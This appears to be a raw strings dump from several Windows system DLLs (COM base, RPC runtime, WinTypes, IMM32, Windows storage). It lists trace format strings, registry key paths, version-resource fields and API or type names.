%!HRESULT! RuntimeBroker.exe CLSID:%!GUID! %!HRESULT! CLSID:%ws %!HRESULT! ACID:%ws Current Apt:%d Class Apt:%d Suspending activatable class %ws COMSVCS.DLL ES.DLL Silent failure in ATHostActivatorGetClassObject: %!HRESULT! Silent failure in NTHostActivatorGetClassObject: %!HRESULT! Silent failure in MTHostActivatorGetClassObject: %!HRESULT! Invalid parameter passed to GetSingleThreadedHost! %p Inproc Activation eNULL pUnk! CLSID:%ls IID:%ls ctx:%d actvflags:%d eInproc COM+ Activation OOP Activation CLSID:%ws IID:%ws ctx:%d actvflags:%d %!HRESULT! NULL pUnk! CLSID:%ws IID:%ws ctx:%d actvflags:%d CLSID:%ls IID:%ls ctx:%d actvflags:%d %!HRESULT! CLSID:%ws, %!HRESULT! Destroy %p on TID:%x, should be on TID:%x CLSID:%ws DarwinID:%ws %!HRESULT! MSIStatus:%!WINERROR! CLSID:%ws Value:%ws Data:%ws %!HRESULT! lCLSID:%ws Unable to determine server architecture, treating as fatal%ws %!HRESULT! CLSID:%ws FileNotFound on server architecture query, continuing on%ws %!HRESULT! CLSID:%ws Binary architecture doesn't match registry view architecture. Server:%ws %!HRESULT! CLSID:%ws Value:%!HRESULT! CLSID:%ws %!WINERROR! CLSID:%ws Binary architecture doesn't match registry view architecture. Surrogate:%ws %!HRESULT! eModule:%ws %!HRESULT! ActivateOnHostFlags LocalServer InprocServer Class:%ws IID:%ws %!HRESULT! oAppID:%ws IID:%ws %!HRESULT! CLSID:%ws IID:%!IID! %!HRESULT! Server:%ws IID:%ws %!HRESULT! Interface GUID:%ws IID:%ws %!HRESULT! NoClassInfo Progid:%ws IID:%ws dFound in PackagedCom all packages Catalog! Progid:%ws IID:%ws hr: %#x Msg: %s CLSID:%ws PartitionID:%ws Flags:%d IID:%ws %!HRESULT! Progid:%ws IID:%ws %!HRESULT! NoClassInfo CLSID:%ws PartitionID:%ws AppId: %ws Flags:%d IID:%ws CLSID:%ws PartitionID:%ws AppId: %ws Flags:%d IID:%ws %!HRESULT! NoCLassInfo CLSID:%ws PartitionID:%ws Flags:%d IID:%ws Found %ls in COM SxS Catalog Look for %ls in COM SxS Catalog... GetClassInfoInternal(guidConfiguredClsid = %ls, flags=%#x, iid=%ls) Look for %ls in private hive Catalog... Found %ls in PackagedCom current package Catalog Look for %ls in PackagedCom current package Catalog... sLook for %ls in REGDB... Look for %ls in cache... Found %ls in cache Found %ls in private hive Catalog Look for %ls in PackagedCom all packages Catalog... Found %ls in COM Base CLB Look for %ls in COM Base CLB... Found %ls in REGDB Look for %ls in x86 WOW registry... Found %ls in registry Look for %ls in registry... Found %ls in PackagedCom all packages Catalog hr=%#x CLSID:%ls Flags:%#x IID:%ls Found %ls in ARM32 WOW registry Look for %ls in ARM32 WOW registry... Found %ls in x86 WOW registry lFound in private hive Catalog! AppID:%ws Flags:%d IID:%ws hr: %#x Msg: %s Adding %ls to cache... dKey:%ws %!WINERROR! Package\Index\PackageFullName ActivationKey Activation\Data RuntimeType Entrypoint Executable HostId Index ResourceGroup StartPage CurrentDirectoryPath Parameters Activation Category PackageExtension\Data PackageExtension\Index\PackageAndCategory User\Data User\Index\UserSid pUserSid PackageUser\Index\UserAndPackage HostRuntime\Index\HostIdAndPackageExtension false true SubKey:%ws Value:%ws %!HRESULT! GetRegistryStringValue returning %ws SubKey:%ws Value:%ws Data:%ws SubKey:%ws Value:%ws Type:%d No ACL in SD ReadRegistryStringValue returning %ws ACE with No New Rights exists ACE with New Rights exists No CRE set in ACE ClassIdentifier:%ws IID:%ws Type:%d Remote:%!bool! SID:%ws Domain:%ws User:%ws %!HRESULT! s%!sid! %!WINERROR! CLSID:%ws Type:%d dInvalid security descriptor, Value:%ws Size:%d Invalid group or owner, Value:%ws Size:%d CLSID\%ls Value:%ws Type:%d Size:%d %!WINERROR! Value:%ws Size:%d Invalid COM security descriptor, Value:%ws Size:%d OpenPackageInfoByFullNameForUser failed: %!HRESULT! sOpenPackageInfoByFullName failed: %!HRESULT! xValidate vs. flags... Acceptable (by default) Acceptable windows.hostRuntime ExpandEnvironmentStrings: %!WINERROR! %!HRESULT! GetProcessInfo(%ws) for Server entry %ws in scope %!Windows::Foundation::RegistrationScope!: %!HRESULT! Server entry %ws in scope %!Windows::Foundation::RegistrationScope!, NormalExe but has ServiceName Server entry %ws is in per-user store, but has ServiceName property (%ws) RefreshNeeded for Server %ws in scope %!Windows::Foundation::RegistrationScope! failed with %!HRESULT! Server %ws in scope %!Windows::Foundation::RegistrationScope!, ServerType %d, ExePath %ws, QuotedExePath %ws CommandLine %ws, ServiceName %ws, DeployingPackageName %ws AppUserModelID %ws, ExecutionPackageName %wsIdentityType %d, Instancing %d, Identity %ws, AppID %ws, CustomAttributes %s, server refresh policy %d, last server write time %!TIME!, last debug information %s, refresh policy %d, write time %!TIME! entry.GetLastWriteTime result is %!TIME! entry.GetRefreshPolicy result is %d GetRefreshPolicy result is %d: %!HRESULT! Read Proxy/Stub CLSID entry %ws in scope %!Windows::Foundation::RegistrationScope!, property DllPath (%ws): %!HRESULT! RefreshNeeded for Proxy/Stub CLSID %ws package moniker (%ws) in scope %!Windows::Foundation::RegistrationScope! failed with %!HRESULT! Proxy/Stub CLSID %ws package moniker (%ws) in scope %!Windows::Foundation::RegistrationScope!, DllPath %ws, refresh policy %d, last write time %!TIME! GetLastWriteTime result is %!TIME!: %!HRESULT! Failed to initialize cache eviction state: %!HRESULT! CACHE MISS! %d CACHE HIT! %d RegNotifyChangeKeyValue: %!WINERROR! CACHE FLUSH! %d OpenCurrentUser: %!HRESULT! SuspendImpersonate: %!HRESULT! User classes hive not found, but hive status inconclusive No private hive for package AppID %ws %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x Interface\ __x_ ,pp0 ,JH0 Error reading property %S in %S scope in %S, %!HRESULT! HKCU HKLM Found property %S in %S scope in %S Property %S was explicitly set to %u Property %S defaulted to %S Property %S defaulted to %u Property %S was set to %u via an override for this process Property %S was explicitly set to %S Property %S was set to %S via an override for this process %d %d COM will not use the per-user hive in this process.This can cause activation of per-user classes from Elevated and Accessibilty appsto fail with REGDB_E_CLASSNOTREG. .ctor Windows.Foundation.Metadata.StaticAttribute Windows.Foundation.Metadata.ComposableAttribute Windows.Foundation.Metadata.ActivatableAttribute Enum System.ValueType Windows.Foundation.HResult System.Object System.Enum System.Guid ***UNKNOWN*** System.MulticastDelegate System.Attribute ,Receive ,LengthIndex( Range( ,Range( ,LengthType( ,Size( Windows.Foundation.Metadata.LengthIsAttribute Windows.Foundation.IAsyncInfo \\RPC Control\\ \system32\rpcss.dll D:(A;;0x1;;;%s)(A;;0x1;;;%s) SOFTWARE\Microsoft\Ole\AppCompat\DisablePerAppHive \REGISTRY\User\%s\Software\Classes \REGISTRY\USER\%s_Classes\Extensions \REGISTRY\USER\%s_Classes\PackagedCom \REGISTRY\USER\%s_Classes\ActivatableClasses \REGISTRY\MACHINE\Software\Classes\Extensions \REGISTRY\MACHINE\Software\Classes\ActivatableClasses Int8 Void Int64 Int32 Int16 UInt8 Char16 Double UInt64 UInt32 UInt16 FC_ZERO Boolean %!UnmarshalingPolicyCheckReason! %!Windows::Foundation::RegistrationScope! Draw CDraw CShow %!sid! %!IID! BibRef MinSvr Cltest SrtInv Srtest PBrush MSDraw %!GUID! %!bool! FYIView OleDemo MPlayer WordArt Note-It MSGraph %!LIBID! %!CLSID! Charisma WPCharts TestServ MinSvrMI SrvrTest HJWIN1.0 SoundRec Equation MSProject WPGraphics Stickynote CorelChart PhotoPaint DGraphDATA ServerDemo ExcelChart Designer_40 CharPres_30 Charisma_30 ObjMakerOLE DGraphCHART SearchUI.exe MSWorksChart ImportServer MSPowerPoint WordDocument HierarchyList %!LOADFREEWHY! AmiProDocument ExcelWorksheet %!CoModuleType! MSPowerPointSho ExcelMacrosheet ShapewareVISIO10 StanfordGraphics %!BLOCKINGREASON! MicrosoftEdge.exe CoromandelIntegra MSWorksSpreadsheet MS_ClipArt_Gallery CoromandelObjServer %!WhichTypeOfRundown! %!WAITSATISFIEDREASON! ShellExperienceHost.exe %!WINDOWMESSAGEDISPATCH! ProxyStubCLSID DllPath IsPackageRelativePath Vendor Icon DisplayName Description CustomProperties ActivationType Server DllPath IsPackageRelativePath Threading CustomAttributes Private ExePath CommandLine IdentityType Permissions ActivatableClasses ServerType AppId Identity InprocHandlerDllPath_arm64 InprocHandlerHasMachineScope EnableVirtualizationForInprocHandler CustomAttributes TypeLibId TypeLibVersionNumber OutofprocClassVisibility InprocServerVisibility InprocHandlerVisibility EnableElevation ElevationPermission ElevationVisibility ElevationIcon OutofprocClassSyntaxVersion InprocServerSyntaxVersion InprocHandlerSyntaxVersion DeploymentVersion ProgId TypeLib ProxyStub Interface TreatAsClass $ZH( 0123456789ABCDEF EnableRemoteAsyncSTAReentrancyGuard EnableRegFreeMBM BreakOnRpcETooLate BreakOnBlockedAstaToAstaCall UseNewCatalogCacheBehavior BreakOnCoInitializeSecurityRuntimeFailures BreakOnBadCombaseDllLoad EnableCallTracing EnableStandardMarshalerTypeConfusionMitigations DisableAllCallObjectCaching DebugAllPackagedProcessLaunches EnableRemoteAsync ExtendedAstaCallTimeout \REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime \REGISTRY\MACHINE\Software\Classes\PackagedCom \REGISTRY\MACHINE\OSData\Software\Classes\PackagedCom CLSID CurrentVersion HasMachineScope Visibility SyntaxVersion DeploymentVersion DebugPath Environment LocaleId Flags Help activatibleClassId \Default ncacn_ip_tcp ncadg_ip_udp ncacn_dnet_dsp ncacn_spx ncacn_nb_tcp ncadg_ipx ncacn_nb_ipx ncacn_np ncacn_at_dsp ncacn_nb_nb ncacn_vns_spp ncadg_at_ddp ncacn_http ncadg_mq Software\Microsoft\WindowsRuntime\AllowedCOMCLSIDs\ PackagedCom\Package Interface\ \PackagedCom\ Array ( Pointer ( @@00 per-package family name per-ApplicationUserModelId global per-exe filename Guid unavailable (ALL) Windows.Foundation.Diagnostics.TracingStatusChangedEventArgs AppXDeploymentServer.dll Windows.Foundation.Collections.IKeyValuePair`2 Windows.Foundation.Collections.IIterator`1> Windows.Foundation.Collections.IIterable`1> Windows.Foundation.Collections.IMapView`2 SynchronousInterface Default SynchronousInterface AsynchronousInterface Default AsynchronousInterface AsynchronousInterface FlsAlloc failed, %!WINERROR!Foundation.Collections.IMapView`2 Windows.Foundation.Collections.IIterator`1> Windows.Foundation.Collections.IKeyValuePair`2 Windows.Foundation.Collections.IMap`2 jjjjj jjjj jjjj %#%:%Q%h% %MQRSTXZ]hijklpqrstuv =GHI &'()*+,-./0123456789 :;< !"#$% SOFTWARE\Microsoft\Ole\Extensions winRTDesktopBrokerCLSID 7FCE841CDE1EBEA1450E28826794 WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft COM for Windows FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName COMBASE.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename COMBASE.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Microsoft-Windows-Runtime/CreateInstance Microsoft-Windows-COM/CreateInstance Microsoft-Windows-COM/ExtensionCatalog Microsoft-Windows-COM/Call Microsoft-Windows-COM/FreeUnusedLibrary Microsoft-Windows-COM/ApartmentUninitialize Microsoft-Windows-COM/ApartmentInitialize EventData Data Name ContractId ContractId EventData Data Name HRESULT Data Name ContractId HRESULT ContractId EventData Data Name ContractId Data Name PackageFamilyName ContractId PackageFamilyName EventData Data Name HRESULT Data Name ContractId Data Name PackageFamilyName HRESULT ContractId PackageFamilyName EventData Data Name ContractId ContractId EventData Data Name HRESULT Data Name ContractId Data Name PackageId Data Name ActivatableClassId Data Name InboxAppsRegistrationScope NTDLL.DLL !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Win32u FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName Win32u LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename Win32u.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation ntdll.dll contractName typeName ext-ms-win-kernel32-package-l1-1-0 ext-ms-win-kernel32-package-l1-1-2 ext-ms-win-kernel32-package-current-l1-1-0 ext-ms-win-rometadata-dispenser-l1-1-0 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll Windows.Foundation.Metadata.ApiInformation Windows.Foundation.Diagnostics.RuntimeBrokerErrorSettings Windows.Foundation.Deferral Windows.Foundation.Collections.StringMap Windows.Foundation.MemoryBuffer Windows.Foundation.PropertyValue Windows.Storage.Streams.Buffer Windows.Foundation.Collections.Detail.Vector Windows.Foundation.Collections.Detail.MarshalByValueValueSet Windows.Foundation.Diagnostics.AsyncCausalityTracer Windows.Storage.Streams.DataWriter Windows.Storage.Streams.DataReader Windows.Foundation.Collections.IIterator`1 Windows.Foundation.Colle Windows.Foundation.Collections.IMapView`2 Windows.Foundation.IReference`1 Windows.Foundation.IReference`1 Windows.Foundation.IReference`1 lstd::exception: %hs winrt::hresult_error: %ls Local\SM0:%lu:%lu:%hs cbLength gSystem.ValueType Windows.Foundation.Metadata.ApiContractAttribute Windows.Foundation.Collections.IPropertySet Windows.Foundati WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Windows Base Types DLL FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName Windows Base Types DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename WinTypes.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Microsoft-Windows-WINTYPES/TypeResolution EventData Data Name HRESULT Data Name TypeName HRESULT TypeName EventData Data Name HRESULT Data Name FilePath HRESULT FilePath EventData Data Name HRESULT Data Name Namespace HRESULT Namespace Microsoft-Windows-WinTypes-Perf win:Start win:Stop win:Informational RoGetMetaDataFile_ResolveType RoGetMetaDataFile_FindTypeInFile RoResolveNamespace WEVT_TEMPLATE en-US SXSManifest StringTable ResourceData ByteMatch Default QUIRKS_FORCE_RESULT http://schemas.microsoft.com/SMI/2024/WindowsSettings http://schemas.microsoft.com/SMI/2020/WindowsSettings http://schemas.microsoft.com/SMI/2019/WindowsSettings http://schemas.microsoft.com/SMI/2017/WindowsSettings http://schemas.microsoft.com/SMI/2016/WindowsSettings http://schemas.microsoft.com/SMI/2014/WindowsSettings http://schemas.microsoft.com/SMI/2013/WindowsSettings http://schemas.microsoft.com/SMI/2011/WindowsSettings http://schemas.microsoft.com/SMI/2005/WindowsSettings \Registry\Machine\System\CurrentControlSet\Control\Nls\Sorting\Ids sortdefault.nls \Globalization\Sorting\ \Windows \Sessions %ws\%ld%ws SearchPathMode Software\Microsoft\Windows NT\CurrentVersion\Windows LoadAppInit_DLLs \Software\Microsoft\Windows NT\CurrentVersion AppCompatFlags\Layers \Registry\MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide ntdll.dll NTDLL.DLL ext-ms-win-oobe-query-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-1 ext-ms-win-ntuser-windowstation-l1-1-2 eadvapi32.dll d\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers IGNORESRPV2 NtVdm64.Dll SystemRoot \system32\csrstub.exe %ws %d -P %ws yMODEM modem FriendlyName ConfigDialog SERIALCOMM cfgmgr32.dll wowexec.pif hotkey.%u %s TEMP \WinSxs .Manifest .dll .exe .%lu ----------------------------------------------------------- Application.Manifest kernelbase.dll wwahost.exe microsoftedge.exe microsoftedgecp.exe microsoftedgebchost.exe microsoftedgedevtools.exe msedgewebview2.exe ja-JP NotifyUILanguageChange API LanguageOverlayUtil.dll setbcdlocale.dll muifontsetup.dll tsf3gip.dll MUILanguageCleanup.dll NetSetupApi.dll TimeDateMUICallback.dll UserLanguageProfileCallback.dll samlib.dll \Registry\Machine\System\CurrentControlSet\Control\MUI\CallbackDlls Type DllPath Control Panel\International\Geo Name Nation Region PreventGeoIdChange kernel32 2%.16ls|%I64x AppCompat\Programs %s\%s ]Amcache.hve Root InventoryApplicationFile ProgramId FileId NtfsDisable8dot3NameCreation \Registry\Machine\System\CurrentControlSet\Policies \Registry\Machine\System\CurrentControlSet\Control\FileSystem TargetNtPath FileSystem ?\UNC ComputerName AlternateComputerNames \Registry\Machine\System\CurrentControlSet\Services\DnsCache\Parameters Dnscache _CLUSTER_NETWORK_NAME_ \Registry\Machine\System\CurrentControlSet\Control\ComputerName ActiveComputerName OOBEInProgress \Registry\Machine\System\Setup SystemSetupInProgress \??\UNC\ \??\ \Dfs \Device\WinDfs\ \Device\LanmanRedirector\; \Device\Floppy \Devwindows threshold \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls JR.Inno.Setup Nullsoft.NSIS pInstallShield.Setup Illustrate.Spoon.Installer Roshal.WinRAR.WinRAR ThraexSoftware.AstrumInstallWizard RR.Raphael.Install.Builder Gentee.Installer \Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option OptionValue \Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers TransparentEnabled ADVAPI32.DLL AuthenticodeEnabled serialui.dll .pif .Config \Application ;\system32\apphelp.dll RequireSignedAppInit_DLLs AppInit_DLLs PATH feclient.dll Setup couldn't decompress the file '%s'. Setup cannot start the program _Setup.exe LauncherMain PackageForTheWeb Error PackageForTheWeb Fehler PackageForTheWeb InstallShield Exe InstallShield Selbstausf hrbares Programm EXE EXE d'auto-extraction d'InstallShield Autoextractor EXE de InstallShield Setup Initialization Error InstallShield Self-extracting EXE EXTRACTOPT AppCertDlls Session Manager SYSTEM\CurrentControlSet\Control\WOW UTCLimitTimeout UTCLimit "%s\ntvdm.exe" -i%lx %s%c "%s\ntvdm.exe" %s%c WINDIR SYSTEMROOT PreferExternalManifest Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Quirks \Registry\Machine\System\CurrentControlSet\Control\NLS\Language PreviousInstallLanguage InstallLanguage (null) Control Panel\International AddHijriDate AddHijriDateTemp Amcache \Registry\Machine\Software\Microsoft\Windows\Containers CompatMode OptionalNames \Registry\Machine\System\CurrentControlSet\Services\LanmanServer\Parameters Wow64 \Registry\Machine\Software \REGISTRY\USER\.DEFAULT d:$DATA [System Process] $Extend\$Reparse:$R:$INDEX_ALLOCATION \DosDevices\ Headless SYSTEM\CurrentControlSet\Control\WinInit tsappcmp.dll advapi32.dll \Registry\Machine\System\CurrentControlSet\Control\Terminal Server TSAppCompat TSUserEnabled .com \Children\ ParentMoniker \Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK LMNOPQRSTUVWXYZ[\]^_`abdcgefhijklmnopqrstuvwxyz{|}~ RPC Interface ncacn_np ncacn_http Software\Policies\Microsoft\Windows NT\Rpc ncacn_hvsocket RpcRuntimeConfigFlags IdleTimerWindow Software\Microsoft\Rpc lsass.exe NT Authority\NetworkService NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\SYSTEM ncacn_ false true dynamic anonymous security= impersonation identification \RPC Control\ ncalrpc \REGISTRY\MACHINE\Software\Microsoft\Rpc\Extensions NdrOleExtDLL ext-ms-win-core-winrt-remote-l1-1-0 lext-ms-win-rpc-ssl-l1-1-0 rpcrt4.dll LocalHost NULL ncacn_ip_tcp StateInformation ExtErrorInformation IgnoreDelegationFailure RestrictRemoteClients EnableAuthEpResolution MaxNonPagedPoolPerConnection EnableTcpPortScaling Failed To Stringify Security Descriptor No Security Descriptor Specified Unable To Get Module Name No Module Pointer Found Unable To Resolve Module Handle Security SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\HvSocket\Addresses LocalAddress \pipe\ \pipe\epmapper epmapper \pipe\epmapper DA32E281-383E-49A1-900A-AF3B74B90B0E RpcThreadPoolBranch Switch RPC to a private pool to emulate Vista behavior AlgorithmMitigation RpcThreadPoolLegacyBranch Emulate the legacy RPC thread pool RpcThreadPoolCurrentBranch Use the default NT thread pool 0123456789abcdef RpcShim.dll verifier.dll RpcLogSize RpcVerifierFlags PageHeapFaultProbability PageHeapFaultTimeOut RpcVerifierProbFaultInjectImpersonateClient RpcVerifierDelayFaultInjectImpersonateClient RpcVerifierProbRpcHeaderCorruption RpcVerifierProbDataCorruption RpcVerifierProbSecureDataCorruption RpcVerifierCorruptionPattern RpcVerifierCorruptionSizeType Software\Microsoft\Rpc\SystemParameter001 %d.%d.%d.%d %X:%X:%X:%X:%X:%X:%X:%X parent children silohost loopback \RPC Control\DSEC Software\Microsoft\Rpc\Extensions TrustRidDll RemoteRpcDll RemoteRpcHttpDll jjjjj jjjjj jjjj jjjj jjjjjj jjjj jjjj jjjj jjjj !"#$%&'()*+,-. /0123456789:;<=>?@ABCDEFGHI JKLMNOPQ RSTU VWXYZ[\]^ _`abcdefghijklmnopqrsut vwxyz{|}~ WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Remote Procedure Call Runtime FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName rpcrt4.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename rpcrt4.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Microsoft-Windows-RPC/EEInfo Microsoft-Windows-RPC/Debug AuthenticationLevels AuthenticationServices EventTypes ImpersonationLevels ProtocolSequences RpcHttp2ObjectTypes RpcHttp2Operations SubjectTypes EventData Data Name ImageName Data Name ComputerName Data Name ProcessID Data Name TimeStamp Data Name GeneratingComponent Data Name Status Data Name Detect ntdll.dll Layout Text Keyboard Layout\Preload Ime File System\CurrentControlSet\Control\Keyboard Layouts Layout File apphelp.dll E\VarFileInfo\Translation \StringFileInfo\%04X04B0\ FileDescription \StringFileInfo\%04X%04X\ api-ms-win-core-version-l1-1-0.dll msctf.dll LZ32 ekbdjpn.dll kbdkor.dll kbdus.dll lDISPLAY ImmMenuInfo SoftKBDClsT1 SoftKBDClsC1 %08x 00000409 CHxReadingStringIME.dll InputMethod WANSUNG jjjjjjj !"#$%&'()*+ ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a bcdefghijklmn pqrst vwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Multi-User Windows IMM32 API Client DLL FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName imm32 LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename imm32 ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation fff3f 3f333 fff3f 3f333 URL Protocol Folder AlwaysShowExt NeverShowExt IconHandler IsShortcut pDocObject BrowseInPlace %s\%s SystemFileAssociations %s\OpenWithProgids Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\%s\OpenWithProgids network computer CurVer Excel.Sheet.8 %08x%08x User Choice set via Windows User Experience {D18B6DD5-6124-4341-9318-804003BAFA0B} Parse Translate Aliases SHBindCtxPropertyBag FailIfDriveHasNoMedia File System Bind Data ValidateRegItems ParseUseSourceItemAsDelegateItem PropertyHandler \\?\ Directory Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace ThisPCPolicy Software\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions Icon Name Stream InfoTip Category Security Roamable PreCreate Attributes PropertyBag ParsingName Description FolderTypeID RelativePath ParentFolder LocalizedName StreamResource DefinitionFlags InitFolderHandler LocalRedirectOnly DPLProtectionLevel StreamResourceType PublishExpandedPath DeferPrecreateAndRedirect EnableShareDenyNone CLSID\%s Delegate Object Creation GPS_HANDLERPROPERTIESONLY GPS_DELAYCREATION GPS_BESTEFFORT UI During Binding ParseAndCreateItem SkipBindingCLSIDArray Skip Binding CLSID Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 CPC\Volume CPC\LocalMOF CPC\Remote CPC\LocalDL \\?\Volume Windows.Storage.Streams.FileRandomAccessStreamStaticsBrokered Generation Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders DisablePersonalDirChange SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ \fdeploy Software\Microsoft\Windows NT\CurrentVersion\Terminal Server RDVirtualizationPool Data @GMT- Windows.Internal.Storage.StorageFileStartExperienceStaticsBrokered ParseOriginalItem winrt:// ParseWithQueryResult prop: Order CLSID InitPropertyBag Software\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\%s\TopViews\%s item System.StructuredQueryType.AnyBitsSet UpdateItems OperationCompleted SessionInfo\%d .automaticDestinations-ms %USERPROFILE% %PUBLIC% %SYSTEMROOT% %SYSTEMDRIVE% %ProgramData% %ALLUSERSPROFILE% ntdll.dll shell32.dll Drive\shellex\FolderExtensions\ DriveMask %0I64x AutomaticDestinations windows.storage.dll ware\Microsoft\Windows\CurrentVersion\Explorer GlobalAssocChangedCounter HubMode StorageDelegateSuppressionPolicy StorageDelegate %s\DelegateFolders _LabelFromReg GetAsyncHandler Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons KnownFolderID lShellState Advanced %s\UrlAssociations Hidden Software\RegisteredApplications Filter WebView IconsOnly HideIcons ShowInfoTip HideFileExt MapNetDrvBtn ShowStatusBar ShowCompColor NoNetCrawling DontPrettyPath ShowTypeOverlay AutoCheckSelect ShowSuperHidden SeparateProcess %SystemRoot%\system32 dpinit.exe %SystemRoot%\ppishell.exe %SystemRoot%\explorer.exe Windows.Internal.Security.SmartScreen.AppReputationService ServerAdminUI Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced NeverShowDrivesMask HideDrivesWithNoMedia Storage FilterMask OperationRunning ThumbnailCache Max Cached Icons Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts %s\%s\%s OpenWithList comctl32.dll Windows.Storage.Search.ContentIndexer GetIndexerWithName Desktop InFolderName GetItemsAsync Windows.Storage.StorageFile Windows.Foundation.PropertyValue WIN://SYSAPPID ePublisherFolders System broadFileSystemAccess ManagedByApp MostRecentlyUsed CurrentWorkingDirectory %SystemRoot%\System32\RuntimeBroker.exe Windows.Storage.Software\Microsoft\Internet Explorer\LowRegistry\Shell Extensions\Cached BaseFolderId Show Avoid Translate Desktop Alias SHBindCtxPathType pMoveAndReplaceAsync System.StructuredQueryType.AllBitsSet Drive\shellex\FolderExtensions NULL NoOplock GPS_FASTPROPERTIESONLY UseOutOfProcHandlerCache DisableProcessIsolation UseInProcHandlerCache Software\Microsoft\Windows\CurrentVersion\Explorer\HomeFolderMobile\Namespace Software\Microsoft\Windows\CurrentVersion\Explorer\HomeFolderDesktop\Namespace get_DateCreated text/html DeleteAsyncOverloadDefaultOptions AppUserModelID Application ExplorerCLSIDFlags\%s Microsoft.Windows.Explorer CLSID\%s\Implemented Categories\%s LibraryDescriptionHandler get_Path OpenWithOptionsAsync FriendlyTypeName Action Protocol OpenAsync DelegateStream SEE_MASK_NOZONECHECKS NoSmartScreen TryGetItemAsync Create CCachedINIFile::Load failed: %s - 0x%08x Don't Parse Relative get_FullProviderAndUserAndAccountIdentifier get_ProviderIdentifier get_DateModified get_IsAvailable get_ContentType get_Attributes get_FileType Content Type \EXPLORER.EXE Root For Relative Parse ParseAsCommonItem SOFTWARE\Microsoft\Windows Search SystemIndexNormalization Software\Microsoft\Windows\CurrentVersion\Explorer\DisableFCM get_ApplicationSearchFilter get_StorageProviderIdFilter AvoidKnownFolderCaching get_GroupPropertyName get_UserSearchFilter get_DateStackOption get_FileTypeFilter get_IndexerOption get_FolderDepth get_TopViewId get_SortOrder Software\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\%s\TopViews OverrideParentTopViews FoldersDependentOn Software\Microsoft\Windows\CurrentVersion\Explorer\ApplicationDestinations AutomaticDebounce LinkHandler Software\Microsoft\Windows\CurrentVersion\SharedPC ShowDriveLettersFirst ImmersiveBroker Undecided DoNotCacheSharedPCMode SharedPCMode rundll32.exe Windows.Storage.Search.IndexableContent get_Properties CreateFileAsync GetFileAsync MRUListEx get_Size get_FileName get_DisplayType ChangeClientProxy Folder Enum Mode Win7FileSystemIdList ExplicitProgid ExplicitAssociationApp Software\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager FESyncRootManager Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum Software\Microsoft\Windows\CurrentVersion\Explorer\UsersFiles\NameSpace BlockRegItemParsing LocalizedResourceName Software\Microsoft\Windows\CurrentVersion\Explorer\DocObjectView LocalizedString Software\Microsoft\Windows\CurrentVersion CLSID\%s\OverrideFileSystemProperties \Schemas Unknown ProgressAggregatorProvider MUIVerb Software\Microsoft\Windows\CurrentVersion\Explorer\KnownFolderSettings CacheTimeoutFailure CacheTimeoutSuccess Global\WSearchMigPluginActive Parse Shell Protocol To File Objects n{%s} TrustedInstaller get_Name MicrosoftWindows.Windows10X_cw5n1h2txyewy MicrosoftWindows.FileExplorer_cw5n1h2txyewy 140abdf5-59be-400f-b886-c4F87ffc6b3a_8wekyb3d8bbwe 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy 7a39f7a5-5363-47aa-ade7-31949cf24ad1_8wekyb3d8bbwe 